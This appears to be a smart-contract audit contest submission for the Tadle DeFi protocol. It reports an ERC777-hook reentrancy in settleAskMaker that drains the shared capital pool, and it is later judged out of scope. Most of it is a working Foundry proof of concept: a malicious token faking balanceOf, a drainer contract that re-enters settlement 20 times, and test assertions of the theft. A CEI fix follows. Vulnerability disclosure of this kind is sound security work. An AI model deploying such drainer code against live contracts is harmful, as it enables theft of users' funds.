Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: high
Invalid

Users can drain the capital pool when they settle an ask offer multiple times

Summary

Users can settle an ASK offer multiple times if the ERC20 point token has implemented sender hooks. They can leverage this behavior to drain all the funds from CapitalPool.

Vulnerability Details

According to the README, any ERC20 tokens will be accepted:

  • ERC20 (any token that follows the ERC20 standard)

I will demonstrate with an ERC777 token for simplicity, but this works with any compatible ERC20 token with callback hooks.

  1. Alice creates an ASK offer for 1000 points and 2000 collateral

  2. Bob creates a BID order to buy 400 points, sending 800 as payment

  3. Alice calls settleAskMaker to settle 400 points on Bob order, the amount is transferred in tillIn:

https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/DeliveryPlace.sol#L266C9-L273C10

This calls a safeTransferFrom so the ERC777 callback is triggered and Alice can reenter:

https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/TokenManager.sol#L93

  1. Before sending the points, Alice reenters settleAskMaker to settle the same offer again. The point token needs to trick the tokenManager balance check as there are before/after balance checks, but this can be easily done (check the coded POC below for a detailed explanation).

  2. Alice reenters the call 20 times, so she sells 8400 points instead of 400 points.

  3. Alice is credited with 40_800 collateral which can now be withdrawn. She should have been credited 800 collateral instead, as Bob paid only that amount. The difference will be extracted by draining other markets that share the same collateral token.

Note, there is a whitelist check but this is disabled for points tokens, so it can't be disabled:
https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/TokenManager.sol#L31

POC, setup this first:

Setup ERC777 library

  1. Delete lib/openzeppelin-contracts

  2. To keep the report short, I've used ERC777 from OZ. Install OpenZeppelin-v4.9.6 by running forge install OpenZeppelin/openzeppelin-contracts@v4.9.6 --no-commit

  3. Rename lib/openzeppelin-contracts to lib/openzeppelin-contracts-v4.9

  4. Add @openzeppelin49/contracts/=lib/openzeppelin-contracts-v4.9/contracts/ to remappings.txt

  5. Reinstall the new version of oz contracts, so everything else works properly, by running forge install OpenZeppelin/openzeppelin-contracts --no-commit

Coded POC

  1. Add this to test/mocks/MaliciousToken.sol:

// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.13;
import {ERC777, IERC1820Registry} from "@openzeppelin49/contracts/token/ERC777/ERC777.sol";
import {DeliveryPlace} from "src/core/DeliveryPlace.sol";
contract MaliciousToken is ERC777 {
bool reentrancyCheck;
mapping(address => uint256) fakeAmounts;
constructor() ERC777("DrainerToken", "DRAIN", new address[](0)) {}
// Need this to bypass transfer check
function balanceOf(address account) public view override returns (uint256) {
if(!reentrancyCheck)
return super.balanceOf(account);
return fakeAmounts[account];
}
function setReentrancyCheck(address sender, uint256 senderAmount, address receiver, uint256 receiverAmount) public {
fakeAmounts[sender] = senderAmount;
fakeAmounts[receiver] = receiverAmount;
}
function enableCheck(bool _reentrancyCheck) public{
reentrancyCheck = _reentrancyCheck;
}
function mint(
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
) public returns (bool) {
_mint(account, amount, userData, operatorData);
return true;
}
}
contract DrainerContract {
bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH = keccak256("ERC777TokensSender");
bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient");
MaliciousToken token;
uint256 reentrancyTimes;
address offerAddress;
uint256 points;
DeliveryPlace deliveryPlace;
constructor(MaliciousToken _token) {
token = _token;
IERC1820Registry registry = IERC1820Registry(
address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24)
);
// hooks
registry.setInterfaceImplementer(address(this), _TOKENS_RECIPIENT_INTERFACE_HASH, address(this));
registry.setInterfaceImplementer(address(this), _TOKENS_SENDER_INTERFACE_HASH, address(this));
}
function setReentrancyValues(uint256 _reentrancyTimes, DeliveryPlace _deliveryPlace, address _offerAddress, uint256 _points) public {
reentrancyTimes = _reentrancyTimes;
deliveryPlace = _deliveryPlace;
offerAddress = _offerAddress;
points = _points;
}
function tokensToSend(address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData) public {
if(reentrancyTimes > 0) {
reentrancyTimes -= 1;
deliveryPlace.settleAskMaker(offerAddress, points);
}
else {
token.enableCheck(true);
}
}
function tokensReceived(address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData) public {
}
}
  1. Add the following test to test/PreMarkets.t.sol and run forge test --via-ir --match-test test_h6_erc777_drain_ask_settle -vv:

function test_h6_erc777_drain_ask_settle() public {
// mock ERC1820Registry contract in foundry
vm.etch(
address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24),
bytes(
hex"608060405234801561001057600080fd5b50600436106100a5576000357c010000000000000000000000000000000000000000000000000000000090048063a41e7d5111610078578063a41e7d51146101d4578063aabbb8ca1461020a578063b705676514610236578063f712f3e814610280576100a5565b806329965a1d146100aa5780633d584063146100e25780635df8122f1461012457806365ba36c114610152575b600080fd5b6100e0600480360360608110156100c057600080fd5b50600160a060020a038135811691602081013591604090910135166102b6565b005b610108600480360360208110156100f857600080fd5b5035600160a060020a0316610570565b60408051600160a060020a039092168252519081900360200190f35b6100e06004803603604081101561013a57600080fd5b50600160a060020a03813581169160200135166105bc565b6101c26004803603602081101561016857600080fd5b81019060208101813564010000000081111561018357600080fd5b82018360208201111561019557600080fd5b803590602001918460018302840111640100000000831117156101b757600080fd5b5090925090506106b3565b60408051918252519081900360200190f35b6100e0600480360360408110156101ea57600080fd5b508035600160a060020a03169060200135600160e060020a0319166106ee565b6101086004803603604081101561022057600080fd5b50600160a060020a038135169060200135610778565b61026c6004803603604081101561024c57600080fd5b508035600160a060020a03169060200135600160e060020a0319166107ef565b604080519115158252519081900360200190f35b61026c6004803603604081101561029657600080fd5b508035600160a060020a03169060200135600160e060020a0319166108aa565b6000600160a060020a038416156102cd57836102cf565b335b9050336102db82610570565b600160a060020a031614610339576040805160e560020a62461bcd02815260206004820152600f60248201527f4e6f7420746865206d616e616765720000000000000000000000000000000000604482015290519081900360640190fd5b6103428361092a565b15610397576040805160e560020a62461bcd02815260206004820152601a60248201527f4d757374206e6f7420626520616e204552433136352068617368000000000000604482015290519081900360640190fd5b600160a060020a038216158015906103b85750600160a060020a0382163314155b156104ff5760405160200180807f455243313832305f4143434550545f4d4147494300000000000000000000000081525060140190506040516020818303038152906040528051906020012082600160a060020a031663249cb3fa85846040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182600160a060020a0316600160a060020a031681526020019250505060206040518083038186803b15801561047e57600080fd5b505afa158015610492573d6000803e3d6000fd5b505050506040513d60208110156104a857600080fd5b5051146104ff576040805160e560020a62461bcd02815260206004820181905260248201527f446f6573206e6f7420696d706c656d656e742074686520696e74657266616365604482015290519081900360640190fd5b600160a060020a03818116600081815260208181526040808320888452909152808220805473ffffffffffffffffffffffffffffffffffffffff19169487169485179055518692917f93baa6efbd2244243bfee6ce4cfdd1d04fc4c0e9a786abd3a41313bd352db15391a450505050565b600160a060020a03818116600090815260016020526040812054909116151561059a5750806105b7565b50600160a060020a03808216600090815260016020526040902054165b919050565b336105c683610570565b600160a060020a031614610624576040805160e560020a62461bcd02815260206004820152600f60248201527f4e6f7420746865206d616e616765720000000000000000000000000000000000604482015290519081900360640190fd5b81600160a060020a031681600160a060020a0316146106435780610646565b60005b600160a060020a03838116600081815260016020526040808220805473ffffffffffffffffffffffffffffffffffffffff19169585169590951790945592519184169290917f605c2dbf762e5f7d60a546d42e7205dcb1b011ebc62a61736a57c9089d3a43509190a35050565b600082826040516020018083838082843780830192505050925050506040516020818303038152906040528051906020012090505b92915050565b6106f882826107ef565b610703576000610705565b815b600160a060020a03928316600081815260208181526040808320600160e060020a031996909616808452958252808320805473ffffffffffffffffffffffffffffffffffffffff19169590971694909417909555908152600284528181209281529190925220805460ff19166001179055565b600080600160a060020a038416156107905783610792565b335b905061079d8361092a565b156107c357826107ad82826108aa565b6107b85760006107ba565b815b925050506106e8565b600160a060020a0390811660009081526020818152604080832086845290915290205416905092915050565b6000808061081d857f01ffc9a70000000000000000000000000000000000000000000000000000000061094c565b909250905081158061082d575080155b1561083d576000925050506106e8565b61084f85600160e060020a031961094c565b909250905081158061086057508015155b15610870576000925050506106e8565b61087a858561094c565b909250905060018214801561088f5750806001145b1561089f576001925050506106e8565b506000949350505050565b600160a060020a0382166000908152600260209081526040808320600160e060020a03198516845290915281205460ff1615156108f2576108eb83836107ef565b90506106e8565b50600160a060020a03808316600081815260208181526040808320600160e060020a0319871684529091529020549091161492915050565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff161590565b6040517f01ffc9a7000000000000000000000000000000000000000000000000000000008082526004820183905260009182919060208160248189617530fa90519096909550935050505056fea165627a7a72305820377f4a2d4301ede9949f163f319021a6e9c687c292a5e2b2c4734c126b524e6c0029"
)
);
MaliciousToken maliciousPointToken = new MaliciousToken();
DrainerContract drainerContract = new DrainerContract(maliciousPointToken);
address alice = address(drainerContract); // for simplicity
address bob = makeAddr("bob");
// give funds to users
uint256 aliceInitialBalance = 100_000 * 1e18;
deal(address(mockUSDCToken), alice, aliceInitialBalance);
vm.prank(alice);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
uint256 bobInitialBalance = 100_000 * 1e18;
deal(address(mockUSDCToken), bob, bobInitialBalance);
deal(address(mockUSDCToken), address(capitalPool), bobInitialBalance);
vm.prank(bob);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
// alice creates offer
vm.startPrank(alice);
uint256 collateralAmount = 2000 * 1e18;
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000, //points
collateralAmount, //amount
10_000, //collateralRate
0, //eachTradeTax
OfferType.Ask,
OfferSettleType.Protected
)
);
address offer0Addr = GenerateAddress.generateOfferAddress(0);
// bob is taker
vm.startPrank(bob);
uint256 bobPoints = 400;
preMarktes.createTaker(offer0Addr, bobPoints);
// save bob balance after order
address stock1Addr = GenerateAddress.generateStockAddress(1);
vm.stopPrank();
// move market status
vm.prank(user1);
systemConfig.updateMarket(
"Backpack",
address(maliciousPointToken),
1e18,
block.timestamp - 1,
3600
);
vm.startPrank(alice);
uint256 alicePoints = 10_000 * 1e18;
maliciousPointToken.mint(alice, alicePoints, "", "");
maliciousPointToken.approve(address(tokenManager), type(uint256).max);
maliciousPointToken.setReentrancyCheck(address(alice), alicePoints - 400 * 1e18, address(capitalPool), 400 * 1e18);
drainerContract.setReentrancyValues(20, deliveryPlace, offer0Addr, 400); // reenter 20 times
deliveryPlace.settleAskMaker(offer0Addr, 400);
maliciousPointToken.setReentrancyCheck(address(alice), 0, address(capitalPool), 0);
maliciousPointToken.enableCheck(false);
// alice sold 8400 points instead of 400
assertEq(maliciousPointToken.balanceOf(alice), 1600 * 1e18, "alice point token balance after askMaker");
vm.stopPrank();
vm.startPrank(bob);
deliveryPlace.closeBidTaker(stock1Addr);
vm.stopPrank();
// NOTE -> 1 Point = 2 Collateral
uint256 tokenAmount;
tokenAmount = tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.MakerRefund);
assertEq(tokenAmount, 0 * 1e18, "refund alice");
tokenAmount = tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.RemainingCash);
assertEq(tokenAmount, 0 * 1e18, "cash alice");
tokenAmount = tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.PointToken);
assertEq(tokenAmount, 0 * 1e18, "token alice");
tokenAmount = tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.SalesRevenue);
assertEq(tokenAmount, 42_800 * 1e18, "sales alice"); //she should have been credited 2800 instead of 42_800
// bob
tokenAmount = tokenManager.userTokenBalanceMap(bob, address(mockUSDCToken), TokenBalanceType.MakerRefund);
assertEq(tokenAmount, 0, "refund bob");
tokenAmount = tokenManager.userTokenBalanceMap(bob, address(mockUSDCToken), TokenBalanceType.RemainingCash);
assertEq(tokenAmount, 0, "cash bob");
tokenAmount = tokenManager.userTokenBalanceMap(bob, address(mockUSDCToken), TokenBalanceType.PointToken);
assertEq(tokenAmount, 400 * 1e18, "token bob");
tokenAmount = tokenManager.userTokenBalanceMap(bob, address(mockUSDCToken), TokenBalanceType.SalesRevenue);
assertEq(tokenAmount, 0 * 1e18, "sales bob");
// withdraw alice
vm.startPrank(alice);
capitalPool.approve(address(mockUSDCToken));
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
vm.stopPrank();
// withdraw bob
vm.startPrank(bob);
capitalPool.approve(address(mockUSDCToken));
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.PointToken);
vm.stopPrank();
// alice drained the capital pool as the collateral is shared between markets
assertEq(mockUSDCToken.balanceOf(alice), aliceInitialBalance + 40_800 * 1e18, "alice collateral balance");
// alice sold her points
assertEq(maliciousPointToken.balanceOf(alice), alicePoints - 8400 * 1e18, "alice point token balance");
// bob paid the correct amount + the fee
assertEq(mockUSDCToken.balanceOf(bob), bobInitialBalance - 400 * 1e18 - 4 * 1e18, "bob collateral balance");
} // forge test --via-ir --match-test test_h6_erc777_drain_ask_settle -vv

Impact

Impact: High (Protocol funds drained and high loss of user funds)
Likelihood: Medium (The point token needs hooks, but it bypasses the whitelist)

Risk: High

Tools Used

Manual Review

Recommendations

In DeliveryPlace, change settleAskMaker and ensure to follow CEI:

function settleAskMaker(address _offer, uint256 _settledPoints) external {
(
OfferInfo memory offerInfo,
MakerInfo memory makerInfo,
MarketPlaceInfo memory marketPlaceInfo,
MarketPlaceStatus status
) = getOfferInfo(_offer);
if (_settledPoints > offerInfo.usedPoints) {
revert InvalidPoints();
}
if (marketPlaceInfo.fixedratio) {
revert FixedRatioUnsupported();
}
if (offerInfo.offerType == OfferType.Bid) {
revert InvalidOfferType(OfferType.Ask, OfferType.Bid);
}
if (
offerInfo.offerStatus != OfferStatus.Virgin &&
offerInfo.offerStatus != OfferStatus.Canceled
) {
revert InvalidOfferStatus();
}
if (status == MarketPlaceStatus.AskSettling) {
if (_msgSender() != offerInfo.authority) {
revert Errors.Unauthorized();
}
} else {
if (_msgSender() != owner()) {
revert Errors.Unauthorized();
}
if (_settledPoints > 0) {
revert InvalidPoints();
}
}
uint256 settledPointTokenAmount = marketPlaceInfo.tokenPerPoint *
_settledPoints;
ITokenManager tokenManager = tadleFactory.getTokenManager();
- if (settledPointTokenAmount > 0) {
- tokenManager.tillIn(
- _msgSender(),
- marketPlaceInfo.tokenAddress,
- settledPointTokenAmount,
- true
- );
- }
uint256 makerRefundAmount;
if (_settledPoints == offerInfo.usedPoints) {
if (offerInfo.offerStatus == OfferStatus.Virgin) {
makerRefundAmount = OfferLibraries.getDepositAmount(
offerInfo.offerType,
offerInfo.collateralRate,
offerInfo.amount,
true,
Math.Rounding.Floor
);
} else {
uint256 usedAmount = offerInfo.amount.mulDiv(
offerInfo.usedPoints,
offerInfo.points,
Math.Rounding.Floor
);
makerRefundAmount = OfferLibraries.getDepositAmount(
offerInfo.offerType,
offerInfo.collateralRate,
usedAmount,
true,
Math.Rounding.Floor
);
}
tokenManager.addTokenBalance(
TokenBalanceType.SalesRevenue,
_msgSender(),
makerInfo.tokenAddress,
makerRefundAmount
);
}
IPerMarkets perMarkets = tadleFactory.getPerMarkets();
perMarkets.settledAskOffer(
_offer,
_settledPoints,
settledPointTokenAmount
);
emit SettleAskMaker(
makerInfo.marketPlace,
offerInfo.maker,
_offer,
_msgSender(),
_settledPoints,
settledPointTokenAmount,
makerRefundAmount
);
+ if (settledPointTokenAmount > 0) {
+ tokenManager.tillIn(
+ _msgSender(),
+ marketPlaceInfo.tokenAddress,
+ settledPointTokenAmount,
+ true
+ );
+ }
}
Updates

Lead Judging Commences

0xnevi Lead Judge
about 1 year ago
0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Out of scope

Appeal created

dadekuma Submitter
about 1 year ago
0xnevi Lead Judge
about 1 year ago
dadekuma Submitter
about 1 year ago
0xgenaudits Judge
about 1 year ago
0xgenaudits Judge
about 1 year ago
0xgenaudits Judge
about 1 year ago
0xnevi Lead Judge
12 months ago
0xnevi Lead Judge 12 months ago
Submission Judgement Published
Invalidated
Reason: Out of scope

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.